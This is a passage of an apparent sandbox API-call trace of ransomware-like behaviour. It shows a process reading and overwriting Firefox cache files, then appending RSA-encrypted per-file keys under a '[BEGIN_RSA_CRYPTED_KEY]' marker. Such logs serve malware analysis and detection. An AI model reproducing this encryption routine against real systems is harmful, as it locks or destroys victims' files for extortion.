lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1d63 [0251.762] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.762] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.762] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.762] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.762] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.762] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AHXptDqQyt36QIshpAnFj3qhyYYJdyCU28iZMghP52pNnFuponyejZoK2k2opsNh\n7hOT80Adr6xeM9D/ev/oGsX3ANMRK5vU5KDKKntgQbPZXnMKl1Enzyr4GCFAN2OQ\nnd7TKL/fCz5wIY5FOI7MW4r0ooHm/7dn0vELo0v+tVxC3Cr0jIEqg7g39oDv4sL9\nN6fpN6kZhsKeUwM3D1eiHUX0hTY9mNgWPKf5O0osMO8QdbcYmZXJcaJXCSec8nzy\nPe/1cQ8dDcibcjEex4h4XoUJuiiAu41/pZOpbkUhLcA1k++cNomJYUmKnNTXKCMc\nCMGAYWLB6l5w8pMZjBPEEA==\n", pcchString=0x2e3f9a8) returned 1 [0251.763] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.763] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.763] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.763] CloseHandle (hObject=0x1b84) returned 1 [0251.764] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.764] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FBEEBFE6936925D7556EA1E800E546E6497D38CB", dwFileAttributes=0x80) returned 1 [0251.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344c288 [0251.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.765] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x151b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x151b, lpOverlapped=0x0) returned 1 [0251.779] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.779] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f580*, nNumberOfBytesToWrite=0x151b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f580*, lpNumberOfBytesWritten=0x2e3f9b4*=0x151b, lpOverlapped=0x0) returned 1 [0251.780] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x151b [0251.780] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.780] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.781] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.781] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.781] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.781] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uPdnZ3G38xvkVrgYGLR2YmLYFH82mD2ODFRZbZpBSpxMfGfj18IMCv4WrEzC0Dve\nMgZyOkuz6p6Rsiu9nZ8wtG4nP9O36o9ys0aZMwH0JuK1yExkB+jK/mM4wd+vV4ZU\nEasSv6Feagxj3BnNxcFSHQrHIVHIQDjY4LFQpaL7KsHGOhJPJGeWGBGwBKjLheQ4\nxPKUhxeTyciIU0p0Ed962JOiuo9MDZcOmdwd0WHCU4qtgijhWNkDfqI5qvGt3JXG\ns/IiAeQdpTAe9hD0AgOmyszG6MgoHOXEgdaT2QiZlbn8KaA6229/oAhRhDKCUtj/\njKViVaH0IbepgmnUfJ6ebw==\n", pcchString=0x2e3f9a8) returned 1 [0251.781] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.781] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.781] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.782] CloseHandle (hObject=0x1b84) returned 1 [0251.783] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.783] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FBB3DB632AD696E8EC30833C0B54232325CAB894", dwFileAttributes=0x80) returned 1 [0251.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344c8b8 [0251.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.784] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1ab4b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ab4b, lpOverlapped=0x0) returned 1 [0251.793] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-109387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.794] WriteFile (in: hFile=0x1b84, lpBuffer=0x3468bb0*, nNumberOfBytesToWrite=0x1ab4b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3468bb0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ab4b, lpOverlapped=0x0) returned 1 [0251.794] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ab4b [0251.794] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.795] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cN/jvmgZnDo+hJWRk6EZPvEVcXmkWr5bloHET8WnME5myJ7t+UKW+C0C2TQdXL4h\nMOs+7BjbF/SVcYfTWPwD93IVlcpWy9crI2G2eSt0UyTbi5m0k7t36D1t5lkQSfKW\n/+RfkXG/NzDBoSCCZQpCkQWjVdbxKz9JnbUlkm6j4UXI27JbKbtNOEu7cKs9DORu\n3hDeeb+p8K7dlwDjdhUT3m8HSfXrqeCEioH42+lYJXYj7mhzyrO6sHqCic6yQorh\nG33XDEVEfuhFx3QdpSIgJeT8RmMBY6wWxn6TcAWGy3TFTaJt6OE7SauvW/d9/OcL\nk0GeanDSjMmiN9km7ozuug==\n", pcchString=0x2e3f9a8) returned 1 [0251.795] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.796] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.796] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.796] CloseHandle (hObject=0x1b84) returned 1 [0251.797] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.797] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FB7768C85FAA53D36D921C97F77E7FA359C6E836", dwFileAttributes=0x80) returned 1 [0251.798] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x14fd8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x14fd8, lpOverlapped=0x0) returned 1 [0251.811] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-85976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.811] WriteFile (in: hFile=0x1b84, lpBuffer=0x3463038*, nNumberOfBytesToWrite=0x14fd8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3463038*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14fd8, lpOverlapped=0x0) returned 1 [0251.812] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14fd8 [0251.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.812] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RSrEMWva5x1Et3vA9Ain2hnDhtUNC+rKmxNTQLq8KoNSTKWdJK47gV/l6XKsX9oC\nwY+t0nYIOWY7yEGRsW9/GoF+nxVS6RSd02H1HPhIr9dwLS/jA0/ZVzBr6Cg10geD\nbsOtV3z4cc2bnK7cJnvqFbU4btEA9e2/Ika/jZkal1DVLPDqarw+4wB1KG/4UVKv\n6vtCLM74k9RwmRl/RDo9On0mYNu5uo43rpXgLdgEn51tcC1m56EbTBj5imFwg0RT\nQIViBKb5minRNaTJQHliHxhNGaA/ujfnvghFFd4RuoKDULdVHYCH+EQEiqdIRpik\n1I98flK0lLbVohl2QXH1ow==\n", pcchString=0x2e3f9a8) returned 1 [0251.813] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.814] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.814] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.814] CloseHandle (hObject=0x1b84) returned 1 [0251.824] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.824] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FB0089835B5C9B7196C5139B4F42040B6ACD3FAB", dwFileAttributes=0x80) returned 1 [0251.825] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x4a02, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x4a02, lpOverlapped=0x0) returned 1 [0251.889] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-18946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.889] WriteFile (in: hFile=0x1b84, lpBuffer=0x3452a68*, nNumberOfBytesToWrite=0x4a02, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3452a68*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4a02, lpOverlapped=0x0) returned 1 [0251.890] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4a02 [0251.890] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.890] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.890] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.890] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.891] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.891] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="i1k8DF3BT3JEx1zKJefkvsosq804dyHKftnh3DNGYZUNKsP6ArWmZbawWlSwfACS\ndEALNqZDL5YoGq1PTTUfEA+8r1LTKzoUq04xctIMJtfj7tK+K8Qscqk5LXBFm3Rs\nsZpJmKCQSjcn+DIVl5Zj0rhFxojcMBcI3eR+RSrmU6fcgBlwwtvsX/p2bN9302K1\nV/j5jLHspK08cc7IKdun5tP1/xeW7VB6V9adFlhg9ApaRaU1UaZs7MRqDsHFO4ZQ\nOpCKt1suJ1eLwbd0hdjK+o/F98uf5uPTbUDZOGzBqLkkZn8WA8f6rg4VEuvZKbtK\naoR4RG1wledCJZTFZngGeg==\n", pcchString=0x2e3f9a8) returned 1 [0251.891] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.891] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.891] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.891] CloseHandle (hObject=0x1b84) returned 1 [0251.893] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.893] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FADCF021AA97656392AF487F91B23E4BFA09266D", dwFileAttributes=0x80) returned 1 [0251.893] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xca8b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xca8b, lpOverlapped=0x0) returned 1 [0251.899] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-51851, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.900] WriteFile (in: hFile=0x1b84, lpBuffer=0x345aaf0*, nNumberOfBytesToWrite=0xca8b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x345aaf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xca8b, lpOverlapped=0x0) returned 1 [0251.900] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xca8b [0251.900] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.900] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.901] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.901] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.901] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.901] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="W5tPdwJgqEUc7B7wnWh6zWRYik0oH0fTBAbhdV08g+7Ew62FIUUER7bP3cBjjknX\nrqpylvfjf0WoOs9cLGUF5T1PYbXL11cg/gt4WEGX8GX6m61YxvAL64GyjzzmMkuG\ndab3aHX5d/yNY3rVhDQV6r3VNS44lnwDLczHmWuP5vO3axHZez4jCYzIUi6n/HMO\nHvAbDdjFoV+98zwgaML4Giq3TiDQxxWrf5GiFa6iZEvP66+nzbVp5KQy6ynSdbyM\nl3e8KDWDGZ5O2t5RmTaH3E2g5N2h0YGPS9YTPlGkmvdlPmEs6ve3WZVuYA7HOGQc\nc9XG/nx6oUmXuj7P4pcERg==\n", pcchString=0x2e3f9a8) returned 1 [0251.901] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.901] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.901] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.902] CloseHandle (hObject=0x1b84) returned 1 [0251.903] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.903] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FA05B3303C005BB21AAC68847E713564FCA8DDE3", dwFileAttributes=0x80) returned 1 [0251.903] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x337c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x337c, lpOverlapped=0x0) returned 1 [0251.914] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-13180, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.914] WriteFile (in: hFile=0x1b84, lpBuffer=0x34513e0*, nNumberOfBytesToWrite=0x337c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34513e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x337c, lpOverlapped=0x0) returned 1 [0251.915] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x337c [0251.915] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.915] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.915] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.915] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.915] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oB8OAvr78L0Sn10NMHYuk6uEdgpqrr1N+h4M9kwqfJACsLKp/UWg6tI89unlVFQo\nFKIdZaUO1ZVoJ1RE1GV6OhP0F9JuIqOUHPziudGzCRgoWmS2YCKmE5RDgRKN14Ap\n4U6nxJBKjeaS/fSvYDIqvTqMBRpaIeQGt9qNNvYZuKJuMES5YBdb7BF+LGNAL8Ah\n34m7THJr8aYol+/gB9agdRYP8KfTH8UrZh8ubYrAiO+cqmjS0eOno8dnQy3lwfoI\n76ZzMmc8wqr9cCpxcZpQAvWlB8l6M9xLG7xrkWT29k8Q55JeoJVU66E4nhNB+MuQ\n11irnXZYSPT++CKFhMK9Jg==\n", pcchString=0x2e3f9a8) returned 1 [0251.916] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.916] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.916] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.916] CloseHandle (hObject=0x1b84) returned 1 [0251.918] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.918] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F8AC72083E334F70A553AE68455FBDF0E65C5221", dwFileAttributes=0x80) returned 1 [0251.918] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x12e5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: 